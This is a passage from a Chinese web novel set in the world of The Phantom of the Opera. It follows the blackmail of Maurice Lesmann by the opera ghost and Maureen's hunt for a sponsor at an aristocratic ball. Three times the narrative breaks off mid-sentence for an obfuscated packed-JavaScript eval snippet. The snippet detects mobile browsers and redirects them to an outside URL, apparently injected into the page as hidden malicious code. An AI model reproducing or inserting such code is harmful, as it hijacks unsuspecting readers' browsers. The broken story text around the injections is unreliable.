直到昆西抵达莱斯曼的庄园，他才发觉自己并没有如莫琳所言那样在家中见到因为醉酒而先行回去的父亲。也是直到这时候，这个可怜的孩子才真正清醒了过来，察觉到歌剧院里的暗流涌动。他迅速驾车回到剧院，却被门童告知剧院关闭，所有客人都已经离开。 唯独莱斯曼，他消失在了这个夜晚里。 直到这一刻。 原先那些属于少年慕爱的情愫瞬间荡然无存，紧张和恐惧席卷而来。 他究竟做了什么，竟然让父亲在大庭广众之下失踪了？ 焦虑的情绪一直蔓延到后半夜。 莱斯曼的府邸彻夜灯火通明，他们只留下佣人看守，自己则聚集在警察署里盯着那两个可怜的值班守卫。可他们没枪没人，什么也做不了，只能差人去将警长从睡梦中拖起，而自己则在署里像犯人一样被看押着。 就在那两个守卫感觉自己身上要被昆西盯出窟窿来时，终于有人来解救了他们。莱斯曼家里的仆人过来通传，说是先生已经回家了。 女仆口中的“回家”是替莱斯曼先生保留了面子，事实上，他是被人像货物一样送过来的。 在莱斯曼府邸的后院，女仆发现了消失的主人的踪迹。 ——他穿着整齐，却迟迟昏迷不醒，被丢置在一辆最普通不过的平常用来运送货物的板车上。 再后来，就是刚才送别家庭医生的那一幕了。 不过昆西和莱斯曼先生并没有得到多少思考的时间，红色信封如约而至。 「亲爱的莱斯曼先生， 希望您昨天度过了一个愉快的夜晚。 我们的合作洽谈得不错，我想您也会是这么认为的。原谅我对政事一窍不通，竟然让您浪费了那么多时间教导我这位初学者，以至于错过了回程的马车。我对此深感抱歉，但也有了些自己浅薄的感悟，等将思路整理清晰，一定会再次给您寄信讨教。 可我内心又如此急切，必须再次向您表诚——我从未见过哪位年轻的军火商像您一样，具有如此深刻而长远的政治眼光。 我与您的意见一致，在巴黎，军火买卖的乱象亟需肃清，高价的利润空间不适合被掌握在与王权有叛心的独裁者手中。两份价目清单会在不日递交到市政厅上层。 安托万·加里先生是优秀的人才，他会在下一次的议题中提出关于“圣马赛地区新的治理人方案”，期待您届时的表现。 另：莫琳小姐是位优秀的剧院管理者，您应当以她为豪。 我们届时再见。 F·DEL·O」 如果让莫琳看见这封信，她恐怕会后悔起自己在五号包厢门口和幽灵那番无谓的争执。 因为他根本没有想过要放过这位莱斯曼先生。 这封信是莫里斯转醒后亲自拆开的，除了他，没有第二人过目。 莫里斯靠在扶手座椅上读信，昆西则站在他的对面。 他看着父亲的面色由最初的不解，疑虑，逐渐转变为愤怒和恐惧，捏着信纸的手颤抖起来，那页薄薄的纸像是千钧重的秤砣，又像是不起眼的羽毛，发出簌簌的响声。 这封信不像是歹徒的威胁，全文语调轻松，甚至谦逊尊敬，而更像来自权力者随意的指使。即使他一个字也没有提到具体需要他做些什么，他却知道自己会如他所愿的。 信中提及的那份价目表，就是整个莱斯曼家族的软肋。 巨额的财富需要世代累积，而莱斯曼的财富则来源于他手上的两份价目表。一份是他们自己的，一份则是递到市政厅手里的。军火本就暴利，加上这其中差额，没有任何的王权会允许他们眈视金银。 他不知道昨天晚上究竟发生了什么，可他的预想却成真了。他的确泄露了关乎于自己性命的秘密，如果那个神秘人将价目表交出去，那么下一个上断头台的，就会是他莫里斯。 而那个神秘人所要求的圣马赛治理权，他原本是打算投票给另一位议员的。 ——那位先生是罗什舒亚尔侯爵手下的人。 圣马赛地区虽然穷困，但依旧有人耽视，他们想用这地方来处理所有肮脏的生意。 罗什舒亚尔侯爵早就与他在这件事上达到了共识，可想而知，假如他按照这个神秘人所说的去做，在下一次的议会中投票给了错误的人，他必定会得罪他。 而那个安托万·加里就更没什么可说的了。 他早就调查过这个人，他干净得如同一张白纸。早些年的任职经历里，所有人对他的评价都是处事公正，为人廉洁。这样的人不可能为了一个席位而转弯抹角地在自己的身上费功夫。如果让他当上治理人，毫无意外圣马赛居民的日子会好过许多，而他和罗什舒亚尔侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018824|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爵的计划也就彻底失败了。 他当然会反抗，可他却连那个神秘的送信人是谁都不知道。 F·DEL·O（剧院幽灵的缩写），这会是那个人真实身份的线索吗？谁会将自己称作是幽灵？ 莫里斯一把将信封上那枚鲜红色的骷髅头漆印扯了下来： “查清楚！”他咬着牙说：“无论是莫琳·坎贝尔，还是任何人。一旦查出来这封信的来处，立刻杀了他。” “是”，昆西心中一骇，知道那封信中的内容绝不简单，竟然逼着他要对另一位莱斯曼痛下杀手，于是问： “...父亲，昨天晚上到底发生了什么？” “这个问题该由我来问才对！”莫里斯捏着那页信纸，放到了正燃烧着的烛台上。火舌席卷过纸张，那几行歪歪扭扭的墨迹便瞬间消散了。 “到底是什么人有本事来威胁莱斯曼？” “不对，那个歌剧院里一定有什么我不知道的事，”他喃喃自语道：“莫琳，她没那个本事，她更不可能搅和进市政厅里的事情。她的背后有人，是有人想要看着莱斯曼家坍塌。” 他捻起烛台上的灰烬，想起来信中那个提案，若有所思地说： “既然他想要插手圣马赛的治理...那么会是谁，谁会成为这个新提案的受益者？” 歌剧院里。 梅格说：“经理，我本不该过问这些，但克莉丝汀离开的日子就要到了。大家都在问，我们的下一位女首席会是谁。” “你觉得我会把卡洛塔夫人请回来，是不是？” 莫琳在薪水确认单的落款处签上自己的名字，抬头看向她。 “也不是，”梅格为难地说：“我只是想不出来更好的办法。卡洛塔夫人虽然不太容易相处，但她为歌剧院工作了这么多年，一定比其他人要更有经验。我知道您和她闹得不愉快，但您是一心为了剧院的，大概也不会介意这些小事。” “我只是想告诉您，如果您打算将卡洛塔夫人请回来，那么就该提早准备了。我今早路过她所居住的公寓时，门童还特地提醒了我她提出的要求。” 她边说边用探寻的目光看向莫琳。 “不，你猜错了，”女人放下笔。 “我不会请卡洛塔夫人回来，更不会让她重新担任首席的位置。” 莫琳的语气肯定：“这并不是因为她的性格，也和我们上次的争吵无关。但有句话你说的没错，一切都是为了歌剧院。” “你知道我们账上余款不多，歌剧院需要转型，剧目需要革新，不然我不会来到这里，更不会花大价钱将它买下来。卡洛塔，倘若她是个天才的表演者，无论她的脾气多么糟糕，无论需要花多大的功夫，不用你说我也会将她请回来。但很可惜，她不是。” “克莉丝汀的成功恰恰证明了她的失败。” “有时候你们不得不承认，那个幽灵说的没错。卡洛塔的唱腔老套，技巧僵硬，即使没有什么剧院幽灵的存在，阿尔蒙他们也迟早会因为经营不善而不得不将剧院转手出去。” “您 ... 您怎么会知道这些话？”梅格惊恐地问。 这些刻薄的评论出自于幽灵最早寄予两位前任经理的信件。他们讨论时，自己的母亲也在场，并将这些话当作玩笑转述给了她听。 “既然你们将我当作不懂事的傻子，”莫琳说：“自从我第一次收到那封信后，我就知道我绝不会是第一个经历这些事的人。阿尔蒙他们对此绝口不提，生怕影响到他们卖个好价钱的决心。可他们却在转移账目资料时却忘记了销毁证据。” “这么说，您竟然是相信那个幽灵的？” “倒不如说我相信我的亲眼所见，” 一下说了这么多话，莫琳觉得自己口干舌燥。她为自己的银锡壶里重新添满水，说： “我只是想告诉你，也让你转告给其他人，卡洛塔夫人是不会回来的。还是和以前一样，如果你们认为身边有任何人能胜任首席的位置，我都欢迎大家向我举荐。” 碍于这女孩和他们将要成为“过去式”女首席之间的友谊，莫琳没将后半句话说出口。 她想的是： 这世上不会只有一个克莉丝汀。 21. 革命 这个季度的赞助费迟迟没有到账。 莫琳几番旁敲侧击地与子爵家的管事打听，得到的回复都是主人外出，暂时联络不上。 很反常的现象。 如果是别人，莫琳尚且能理解。可子爵先生与歌剧院首席女高音的婚约几乎已经成了人尽皆知的事情，克莉丝汀还没有结束新剧目的演出，他没道理不对自己未婚妻工作的地方加以关注。 更何况，在克莉丝汀离开这件事上，莫琳是帮了他的。 虽然剧院的营收最近有所好转，但并不代表莫琳手上是宽裕的。先前她将大笔的资金都投入到了修缮上，手头并没有留下太多的现钱。所以，子爵的赞助费对剧院来说依旧至关重要。 不过，还没等莫琳耐不住性子再次找上门，外面就传来了新消息。 革命开始了。 报纸上开始铺天盖地地出现各大城市中心的消息。 莫琳明白，她必须立刻开始为歌剧院寻找新的资金来源。即使子爵仍然是他们的赞助人，如今所需要的支出也不是他一个人能够负担得了的。 她又想起莫里斯说的那场晚宴。 首演过后，那封本应该被留在包厢内的请柬还是被送到了夏朗顿路的十八号公寓里。 老实说，她并不确切莫里斯发生了什么事。但有一点是肯定的，那个幽灵一定对他做了什么，不然昆西不会这么急切地在剧院散场后寻找他的父亲。 可这又与这封请柬的出现自相矛盾。 ——如果莫里斯遭袭，他不会还有心情重提晚宴的事。相反的，他应该对莫琳的一举一动都更加提防和警惕才对，毕竟她是歌剧院的主人，剧院里发生的任何事情都与她脱不了干系。 还有一种可能。 那就是这封请柬的寄送者不是莫里斯。 是罗什舒亚尔本人，又或者，是那个幽灵。 莫琳翻开请柬，上边用漂亮的斜体字写着宴会的时间地点，落款处则戳着罗什舒亚尔家族的雄鹰徽章。 对其他人而言，这场宴会不过是个属于沉寂已久的巴黎社交圈的一场重聚与消遣，可对莫琳来说，这却是片得天独厚的理想淘金地。 无论那个寄送者究竟是谁，莫琳都不会愿意错过这个机会。 由于时间紧迫，达茜将自己随行的私人裁缝借给了莫琳。 不要太华丽，也不能太朴素。这是莫琳和对方提出的要求。 可惜的是，做惯了海伍德家小姐私人裁缝是很难一下子转变向朴素的风格的。即使莫琳再三强调了抛弃掉达茜平日里喜爱的那些奢侈的罗缎，她也没能找出什么真正平凡的材料来。 最后被递到莫琳手上的，是一捧玫瑰色的瀑布。 几乎没有任何的缀饰，可长裙本身的剪裁和材质就已经证明它必定出身不凡。 “我看你也不必费心思去找什么赞助人了”，达茜半开玩笑地说：“只要穿上这身长裙露个面，自然会有一群年轻绅士们围住你的。不过你可要注意，在晚宴上抢走别人的舞伴这类行径可是会遭人唾弃的”。 “如果能只依靠出卖色相就能救活歌剧院，那即使遭人唾弃我也得去做，”莫琳对着裁缝点了点胸前，“太高了，往下两寸，我可不想在跳舞的时候喘不过气来。” “你不担心被那些绅士们用眼神生吞活剥了吗？” 作为和莫琳从小一起长大的玩伴，达茜一直知道莫琳是美丽的。 早在坎贝尔家族为她准备的成人礼上，莫琳就凭借那身缝制着纯净百合花纹的礼裙出了不少风头。缎面褶皱将她包裹得如同一簇将开未开的花骨朵，饱满鲜嫩，任何掺有杂念的目光都是一种对于她的亵渎。直到现在，那裙摆上的纹样还在伦敦的各大服饰店里风靡。 而现在却又不一样了。 现在的莫琳已经是成熟的，开至鼎盛的玫瑰。目光成为洗礼，赞美则化作养分，即便她无所畏惧地暴露全部的自我，也没有人胆敢轻易冒犯。 “被人看又不会掉块肉下来，”莫琳说，“但我会让他们知道观赏的价格是昂贵的。” “你总是这样，”达茜作势要去捏她的脸，“不过浑身长刺的美人才是我爱的美人，这样我就不用担心你一个人出席了。” 莫琳轻巧地躲开她的袭击，反驳道： “别这么说。也许大家都知道歌剧院发生了什么，对我避之不及呢！” 达茜：“你看了最新的报纸吗？” “关于克莉丝汀和子爵订婚的消息？不用看报纸我也知道，那时候我就在现场待着，哦，还有那个幽灵。” “那个幽灵？！” 达茜吓了一跳，她竟然已经能用如此轻松的语气谈起一个威胁她性命的人，这可远远在她的意料之外。他们的关系什么时候变得那么亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018825|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近了？ 可她不能就这么在莫琳面前表现出来。 达茜及时地捡回思绪，问：“那他有什么反应？” “既然报纸顺利刊登了出来，求婚的时候想必没出现什么意外？可我总觉得这一切不可能那么顺利地进行下去。按照那个幽灵的做派......他该不会打算暗杀子爵吧？！” “那就要看他是不是真的爱克莉丝汀了。” “什么意思？”达茜不解地问：“如果他不爱克莉丝汀，他为什么要这么帮她，还为她弄出那么多事来？” “你认为他做的那些事都是为了克莉丝汀吗？我并不这么想。” 莫琳眨了眨眼： “如果说他所做的都是为了帮助克莉丝汀取代卡洛塔成为女首席，那么我想姑且可以算作是他爱她的证据。可除了教授她歌唱，在预演中的水晶灯事故，与我和莱斯曼的谈判，以及要求的包厢保留权和高额薪水都是为了他自己，和克莉丝汀毫无关系。” “如果他爱她，为什么在阿尔蒙管理期间那么长的时间里，克莉丝汀都只是个寂寂无名的小舞女呢？凭借他的手段，我相信克莉丝汀早就可以站到更高的位置了。” “可事实却是，真正帮助克莉丝汀取得首席位置的，是我。” “是我力排众议把卡洛塔拉了下来，是我提出了投票选贤的制度，也是我在明知道克莉丝汀和子爵的亲密关系后依旧冒着风险让她上台。” “如果那些是爱的证据，那么连我都要比这个幽灵更爱她。” 达茜被她的长篇大论震慑住，一下子说不出话来。 她知道莫琳是个珍惜人才的人，但她先前也被爱情的论调短暂地迷了眼。以至于她没有跳出怪圈思考过，其实莫琳所做的要比那两个男人更为深刻得多。 尤其是现在，那个大张旗鼓在众目睽睽下向克莉丝汀求婚的子爵，竟然因为一场革命而消失了。 “好吧，”达茜默默叹了口气：“但愿那个幽灵也能想明白这些，而不要被自己虚假的爱意晕眩了头脑，不然遭殃的可就是歌剧院了。” “让他心碎一段时间未免不是好事，” 相反地，莫琳的态度却显得很乐观：“起码安静一会儿，让我有余力去处理别的事情。” 她又提起裙子往自己身上比了比。 “比如，去晚宴上抓一位赞助人回来。” 22. 晚宴（1） 罗什舒亚尔家。 天花板上坠饰下长长的水晶灯，是整个府邸的仆人们提前三天合力用绒布一寸一寸地擦亮的。大理石地板上反射出宾客们交错的舞步和皮革面上的高光，案几边摆着适合女士们品赏的甜酒，男士们则从场间随处可见的侍从托盘里接过已经提前醒好的德产葡萄酒。 巴黎许久没有举办过这样盛大的私人社交舞会了。 曼达·沙托，她挽着自己丈夫的臂膀，迈进罗什舒尔府邸里金碧辉煌的大厅，再次感叹道侯爵家的富裕和权力。 她的丈夫看出她的惊喜与沉醉，想让她收敛些，却又舍不得打破当下这片美丽的氛围。他轻轻拉开妻子戴着蕾丝手套的胳膊，说： “曼达，我得去前边和主人家还有几位重要的先生们寒暄，你就留在这里和其他夫人们聊聊天吧。她们都很好交往，就和在旧地方时一样。” “你看，那一位，莱斯曼家的小女儿阿梅莉，她就是今天的主人公。” 他遥遥指向此刻正依偎在一个高挑身影边上的女孩，她头戴繁复的花朵丝绒帽，颈间挂着一条华贵程度只会在凡尔赛宫出现的宝石项链。 “放心吧，”曼达笑着推了推自己的丈夫，催促他离开：“我会和她们好好相处的。几个小女孩而已，你有什么可担心的？” 她知道自己丈夫的用意。莱斯曼家的女主人早逝，莱斯曼对膝下一儿一女视若珍宝，如果能够得他的小女儿青眼，那么她丈夫的仕途也会更加平稳。 “德·莱斯曼小姐，” 听到曼达的称呼，莫琳和阿梅莉同时转身看向她。 她们俩今天是第一次见面，又因为是宴席间少有的年纪相仿的同伴而格外感到亲切，免不了多聊了几句。直到曼达的这句称呼，才让阿梅莉感到了突兀的尴尬。 在莫琳来之前，莱斯曼小姐的头衔向来是专属她一个的。 “不巧，这里有两位莱斯曼小姐。”莫琳友好地说。 “自我介绍一下，我是莫琳·德·莱斯曼，莫里斯·德·莱斯曼是我的舅舅。” “原来是这样，莫琳小姐。”曼达朝她点头致意，却又很快将目光放回到了阿梅莉的身上。 她走上前，将莫琳与阿梅莉隔开一段距离，笑盈盈地说： “阿梅莉小姐，我是沙托的妻子。我的丈夫曾有幸和你父亲在同一个部门供职过。” “听说你鲜少出来参加舞会，今天能在这里碰见你还真是难得的缘分” 妇人穿着及脚踝的希腊式长裙，喀什米尔披肩半搭在手臂上。 “是吗？”阿梅莉活跃起来，看上去对她的话很感兴趣，“共事的话，那应该是很久以前的事情了，那么久了，您居然没有来莱斯曼府邸参加过我们的晚宴，这一定是下人们在制定名单时的失职。” 晚宴两个字显然不在她的意料当中，曼达愣了愣，尴尬地回道： “我来巴黎不久....原先忙于在家里照看两个孩子，现在有了帮手，孩子又大了，这才放心搬来一起生活。” “您没有见过我，那是应该的。”她讪讪道。 “那看来我们得在以后的宴会上多多见面才行呢！”，阿梅莉笑着回答她，眼神却转向了在一旁未发一言的莫琳：“刚才罗什舒亚尔夫人正在找我们，恐怕我们得先行离开了。” “哦。当然。我们回头聊，阿梅莉小姐。”曼达回道。 等她离开后，阿梅莉并没有带莫琳去见什么罗什舒亚尔夫人，那只是个借口而已。她带着她转进了隔壁的走廊。 “一瞧就知道她的丈夫在前边是怎样的地位，”阿梅莉亲昵地挽着莫琳的手，悄悄附在她耳边说：“这样款式的裙子早在年前就不流行了，披肩看上去也不像是东印度的料子，我看他们家大概是混进来的。” “那位夫人不是说自己丈夫与莫里...舅舅是同僚吗？” “父亲的同僚？”阿梅莉翻了个白眼，“父亲在市政厅供职是多少年前的事情了？说不定都没见过那个沙托，她竟然还赶着要来攀关系。” “你可要认清楚，什么样的人才是配得上同我们交往的。” 莫琳没有立刻回答，老实说，她对她的话感到不太舒服。 据她的父亲所说，阿梅莉应该是第一次正式地参加社交舞会，可她却表现得丝毫不像是初入社交圈的年轻姑娘。 她游刃有余过了头，对什么人应该笼络，什么人该隔绝有条清晰的界限。这样的事放在上流社会交际圈本来很正常，只不过不该在现在她这个年纪发生而已。 她本该对这个乡下地方来追随丈夫的妇人抱以同情，也许好奇地追问几句她如今的境况，或许模糊地表达自己想终止谈话的意愿。总而言之，这样的果决不应该出现在她身上，而更适合由莫琳这样，在这个臭气熏天的巴黎社交圈浸染已久，以功利心闻名的女经理所表达出来。 可她又的确是有资格这么做的。 “听父亲说，歌剧院的赞助人之一拉乌尔子爵失踪了？” “你最近应该很为这件事头痛吧？”阿梅莉突然提起了歌剧院的事，想必是从她父亲口中所得知的消息。 莫琳不确定莫里斯透露给她这些消息的用意，但有一点却是确信的——她这位舅舅绝不会平白无故地做些免费的好事。 “不仅如此，”莫琳顺着她的话回答。她皱着眉，做出苦恼的样子：“他还将我的首席女高音也一并带走了。剧院的支柱垮了一半，我正愁怎么继续维持运转呢。” 事实上，这也正是莫琳前来参加这场舞会的目的。 即使拉乌尔并没有失踪，她原本也打算为歌剧院寻找新的赞助人。光凭一个拉乌尔不够支撑歌剧院如今的花销，现在正是关键时期，她需要更强势的合作伙伴。 “办法不就在眼前吗？”阿梅莉笑了。 在莫琳的注视下，她的眼神落到远处一位撑着手杖的绅士身上。他的周围错落地站着几位眼熟的先生，以下位者的姿态将他包围起来。 “这位是？” “德·蒙特克里斯托公爵，”阿梅莉语气轻快： “如果你想解决歌剧院赞助的事情，不妨找机会去他那里露露面。你看，他周围的那些人，可都是有所图的。” 这位公爵在巴黎赫赫有名，并不是因为他权势滔天亦或者家财万贯，这些词汇放在一位公爵的身上太过普通。他之所以常常被议论，大多是因为另外一个引人遐想的名字。 这位公爵有一位情人，是巴黎如今最出名的交际花“卡洛琳夫人”。 德·蒙特克里斯托公爵在各类艺术上都颇有造诣，是各个才华漫溢却又穷困潦倒的艺术家最喜爱的赞助人。他毫不吝啬在绘画，歌剧，舞蹈以及“美人”上的投资，卡洛琳夫人脖颈上的珍珠要比普通人家餐桌上的茶勺还要大。 如果能得到他的资助，那么歌剧院的财务问题将迎刃而解。 莫琳盯着他看了一会儿。 也许是美人的目光要比其他人来得格外炙热，德·蒙特克里斯托公爵很快注意到了她的存在。奇怪的是，他并不意外她的注视，反而惬意地举起了手中的酒杯朝她致意。 “看来我得失陪一会儿了，”莫琳对阿梅莉说。 都已经走到了这一步，她必须去和那位公爵喝一杯酒。 “当然”。 直到莫琳走到德·蒙特克里斯托公爵身侧时，她才发现他的行动似乎不太方便，宽大的礼服摆下藏了一根手杖。 “莫琳小姐，久仰大名。” 舞会开场，阿梅莉应邀与罗什舒亚尔侯爵的长子跳一支开场舞。 那位年轻的绅士来到阿梅莉身边时，眼神却不自觉地往莫琳身上瞟。莱斯曼家的新成员实在太过美貌。她的脸庞润而莹白，如同今晚高悬的月亮，嘴唇却又是那样的娇艳，令他的心也落入了月光下的那一片樱桃红中。 第二个旋转结束，阿梅莉敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018826|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感地察觉到了对方的心不在焉。透过舞伴的肩膀，她看见许多目光落在自己身后，也就是男人目光久久缠绵的地方。 她不用猜也知道，那里站着莫琳。 作为莱斯曼唯一的女儿，阿梅莉在晚宴上的地位显而易见。第一支舞结束，许多年轻的女孩来向她问候，年纪稍长些的夫人则矜持地点头，顺便夸赞两句阿梅莉昂贵的玫瑰色绸缎长裙。 这是她哥哥昆西特地从刚刚返航的贸易商船上购得的新布料，正巧讨了他妹妹的欢心。 可这位哥哥不知道的是，即便这绸缎昂贵稀有，却依旧因为颜色而让阿梅莉闷闷不乐。 时下的玫瑰色比普通白绸要更时髦些。 放眼望过去，半个厅的女孩都不约而同选择了玫瑰色的缎裙和丝绒帽子，几乎要融为一片。 莫琳也在其中。 但她却像是独得上帝恩泽的那唯一一枝玫瑰。重复的色彩并不能湮没女人本身的光芒，那双漆黑的眼睛，亮得如同玫瑰园中的朝露那般夺人心魄。 阿梅莉知道莫琳生了副好样貌，连自己的舞伴都被她夺去了目光。可又碍于父亲的嘱托，偏不能生硬地斥责她离自己远些，只好找了个机会在角落里递给她一柄羽毛折扇。 “你待会儿就举着这扇子吧。舞会上男士们不少，你又还没订婚，身边没有长辈陪伴，还是要和他们保持距离才好。” 莫琳笑了。她看着阿梅莉，手上却没有动作。 这女孩有时候表现得相较于混迹名利场已久的老手更加熟练，有时候又天真得不像是莱斯曼家的后代。 她既然作为歌剧院的经理，少不了在外面和各类人接触，早就不在乎什么男女设防的事了。她能理解对方不想被自己夺了风头的顾虑，也很愿意配合，只不过这理由有些太愚蠢了。 阿梅莉见她迟迟没有要接过扇子的意思，恨不得直接塞到她的手里，又碍于淑女仪态不好发作，只能等着她自己接下话茬。 “你不是也还没有订婚吗？”莫琳反问道。 她突然开口，倒是把阿梅莉给吓了一跳，一时间都忘了自己的动作。等反应过来后，她反倒拿起折扇遮住了自己忍不住上翘的嘴角。 “我和你不一样”，阿梅莉眨着眼睛，“父亲今天前来赴宴就是为了和侯爵定下婚约，等路易斯继承爵位，我就会是这座宅子新的女主人。” 原来这才是这场舞会的目的。 宴席上的诸多宾客不过是陪衬，他们大张旗鼓，不过是为了让新订婚的两人见上一面。 如果他们彼此满意，那么舞会过后，这桩婚事也就能继续顺利地进行下去了。 莫琳做出恍然大悟的样子，了然地点点头，然后向阿梅莉提出新的建议： “刚好，我不擅长跳舞，不如我去花园里透透气？” “这真是好主意，你知道吗，我也觉得这地方太闷了，”阿梅莉瞟了一眼几乎无人踏足的花园，体贴地向莫琳指了路：“就往那儿走，第一个岔口左拐就到了。罗什舒亚尔家有全巴黎最漂亮的后花园，你一定会喜欢的！” 罗什舒亚尔家有全巴黎最漂亮的后花园。 在这件事上，阿梅莉的确没有骗她。 莫琳走过一片茂盛的玫瑰丛，身影几乎淹没在这片灿烂的艳色中。花枝错落，品种繁多，花匠们必定在这上面花费了不少心血。她轻轻抚摸过最边缘的那两朵玫瑰，发觉连根茎最顶端的尖刺都被剔除干净了。 在这片令人沉醉的玫瑰园中，难得的寂静使莫琳忍不住开始思考起自己下一步的计划来。 她要怎么和这位蒙特克里斯托公爵打上交道呢？ 用美色？ 那对她来说是最轻松的办法，可也很容易使她自己陷入危险里。 谈交易？ 歌剧院有什么让人不得不投资的魅力吗？是她们新任女高音？还是那个颇得记者们青眼的神秘蒙面男人？可这两个人却都要消失了。 23. 晚宴（2） “莱斯曼小姐”，熟悉的声音突然打断了她的思考。 这个声音她在歌剧院里听过上百次，那个年轻人总是像个影子一样追在她后边。她想起那位沙托夫人闹的笑话，忽然起了调侃对方的心思，故意问道。 “你是来找哪一位莱斯曼的？”。 果不其然，奥斯顿的脸迅速红了起来。他想起来自己似乎完全忘记了另一位小姐的存在，又或者说，他的眼里只能看得见面前这一位莱斯曼小姐。 “经理......”，他迟疑着换了个称呼。 “叫我莫琳。”她好心情地答。 “你早就看见我了是不是，为什么要等在这里假装偶遇来和我打招呼？” “说起来，你没有舞会的请帖，又是怎么进来的？” 莫琳的问题一连串砸在这个年轻人身上，以至于他慌张得不知道该从哪里回答起来好。 他的确早就看见莫琳了，看到她那身玫瑰色的曳地长裙。 他的女经理不常穿贵族小姐们的淑女装扮，今天这袭打扮让她明艳得如同教堂顶上熠熠发光的琉璃瓦，尊贵而不可侵犯。 可只要她一开口，你就又知道她还是那个歌剧院里的莫琳。 “我是翻窗进来的，小姐。” 他意识到自己的失误，立刻改口：“不...莫琳，小姐。”，他还不习惯这个称呼。 莫琳噗嗤一声笑了出来：“翻窗？我看不止。你恐怕还翻了墙吧？” “真不知道罗什舒亚尔家的侍卫都是怎么看守外边的，你翻了墙，却没一个人看见，但凡有几个和他们有仇的人，今天会是个好机会。” “您不需要担心，罗什舒亚尔家的防卫很严密，”大概是觉得自己的话自相矛盾，奥斯顿犹豫了片刻才说出了后半句，“我费了很大一番功夫才见到您。” 莫琳没有继续逗他，问：“那么来这里找我，是发生了什么事？” 奥斯顿：“剧院幽灵...... 最近来了许多记者和访客，我不太方便继续之前的调查。也许是风头太紧，工人们没再因黄金失窃而躁动过，那个幽灵 ...... 也没了动静。” “这是我的失职”，奥斯顿垂下脑袋，面露懊悔之色。 “这可算不上是什么重要的事。” 莫琳摆了摆手。她最近实在没闲工夫再去给那个幽灵找麻烦了，克莉丝汀订婚的事应当已经对他造成了不小的打击，没必要再去赶着落井下石。再者，她现在有更重要的事想让这位年轻人做。 “既然来了，就陪我跳一支舞吧。” “跳舞？”，听到这两个字，奥斯顿简直怀疑自己的耳朵出了问题。 跳舞？他这辈子还从没跳过舞呢！ 奥斯顿对于跳舞的认知还停留在家里，哥哥们曾经在礼拜日和邻居们跳过的那种舞上。可那绝不是莫琳小姐要跳的舞，他知道，哥哥他们向来都是光着脚跳舞的，挽着年轻的扎着油亮粗麻花辫的姑娘。他们绕着广场转圈，笑声一直流淌到清澈的河水里。 可这怎么可能会发生在莫琳小姐身上呢？ “怎么，你不会跳舞吗？”莫琳的眉毛蹙了起来。 “不，”奥斯顿下意识地否认，“我只是，没有和别人跳过舞。” “任何事情都会有第一次”，莫琳踢掉自己累赘的鞋子，赤着脚在岩版路上走了两步。不是很痛，相反别有一番风趣。 她朝奥斯顿伸出手：“要不要试试？” 他怎么可能会拒绝她。 奥斯顿迟疑片刻，朝莫琳做了个绅士礼，这才小心翼翼地接过她的手。他不知道那些贵族圈层的人们是如何行礼做邀的，他也不知道面对她的话如何举止算是得体合理，但他知道面前这位小姐是他愿意给予尊重的人。 他小心地捧着莫琳的手，连平日里的一丝力度也不敢施放。她的手掌像是玫瑰花瓣，即使隔着手套，也能透过那层薄薄的面料感受到她的体温和香气。 舞会厅里的乐声遥遥地飘到后院里，莫琳掂着脚尖朝着面前羞涩的年轻人走了两步，将他的手放到自己的腰后。 “扶好我”，她这么说。 在这片若有若无的熏香和乐声中，奥斯顿只觉得自己的脑袋是昏沉的，意识也跟着莫琳的声音飘走了。 莫琳虽然不乐于参加那些假惺惺的社交晚宴，但舞却跳得很好。她不爱循规蹈矩的步调，她认为那让跳舞变成了像按照乐谱踩键盘一样无趣，而是随着兴之所致，没人能猜到她的下一步会踩到哪里。 这也就造成了奥斯顿连连误踩到她的悲剧。 “哦！对不起小姐！！” 一个转圈之后，手忙脚乱的奥斯顿彻底慌了神。因为没来得及收腿，他再次绊到了莫琳。 “别再急着道歉了”。莫琳扶着奥斯顿的胳膊让自己找回重心。 她有些头痛，这几圈下来，她直觉这个年轻人将他这辈子的道歉都要说完了。 不过这几步下来她也过足了瘾，没必要在让他煎熬着陪自己了。 能够从那个令人窒息的宴会厅里躲出来偷偷清闲是多么难得的事。如果不是她身上还担着歌剧院的责任，莫琳真不想再回到那里去。 莫琳刚想要让奥斯顿自己回歌剧院去，却听见舞厅的方向传来了刺耳的玻璃碎裂声。 尖锐的碎裂声在这片静谧的氛围中显得格外突兀。 前面发生了什么？是有人遇袭，还是发生了争吵？ 还没来得及思考，莫琳就看见有一位女士提着裙子飞奔了出来。 她看上去像是在掩面而泣。可她最终没跑几步就因为沉重繁琐的裙摆而停下了，转而干脆坐在墙根边上。 